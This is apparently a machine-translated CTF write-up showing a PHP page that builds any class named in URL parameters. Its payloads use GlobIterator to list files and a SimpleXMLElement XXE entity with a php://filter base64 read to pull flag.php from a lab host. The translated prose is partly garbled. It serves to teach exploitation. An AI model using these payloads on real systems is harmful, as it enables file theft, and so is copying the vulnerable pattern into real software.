3日目-CTFインスタンス化する[赤]、任意のXMLオブジェクトの脆弱性

運動の記録

コードを再現:

index.phpを

<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
	function ($class){
		new NotFound();
	}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
	$newclass = new $classname($param,$param2);
	var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}

flag.php

<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

脆弱性分析:

サイトを入力します。

http://192.168.1.139/PHPcode/day3/

ここに画像を挿入説明
正しくページを発見、あなたが動作することができます。

この質問はある検討されています实例化漏洞结合XXE漏洞我々は、ライン上に図16:

if(class_exists($classname)){

使用して見ることができclass_exists、それが存在しない場合は、プログラム呼び出し、クラスがあるかどうかを判断する機能を__autoload機能を、
しかし何もありません__autoload関数は、しかしでspl_autoload_register登録された類似し__autoload、ここで404の情報を出力する関数で役割。

class NotFound{
    function __construct()
    {
        die('404');
    }
}

ここではPHPの直接使用内置类、最初のGlobIteratorクラスの検索flag文件名。

GlobIteratorクラスのコンストラクタが定義されます。

(PHP 5> = 5.3.0、PHP 7)

特長:

グロブのようなファイルシステムの振る舞いをトラバース()。

public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

最初のパラメータは、検索対象のファイル名で、キーとしてどの情報ファイル名を選択するための2番目のパラメータは、ここで私が使用することを選択しFilesystemIterator::CURRENT_AS_FILEINFO、対応する定数値が0である、あなたがすることができ、ここでこれらの定数の値を見つけ、最終的なファイルの検索
、次のようにペイロードを:

http://192.168.1.139/PHPcode/day3/?name=GlobIterator&param=./*.php&param2=0

結果:
ここに画像を挿入説明
私たちが見つけるflagという名前のファイルをflag.php、我々はビルトインクラスの使用、その後は、SimpleXMLElement読み込みflag.phpファイルがあるときので、我々は、フローと組み合わせて使用するようにPHPを使用してここで,,ファイルの内容を: < > & ' "5つのシンボルは、XMLファイルの解析になりますとき間違っているので、ここでは、ファイルの内容を一読されるように、PHPファイルのストリームを使用しbase64编码、次のように特定のペイロードに出力:

http://192.168.1.139/PHPcode/day3/?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">]><x>%26xxe;</x>&param2=0

結果:
ここに画像を挿入説明

ここに画像を挿入説明

公開された35元の記事 ウォン称賛19 ビュー5203

おすすめ

転載: blog.csdn.net/zhangpen130/article/details/103905796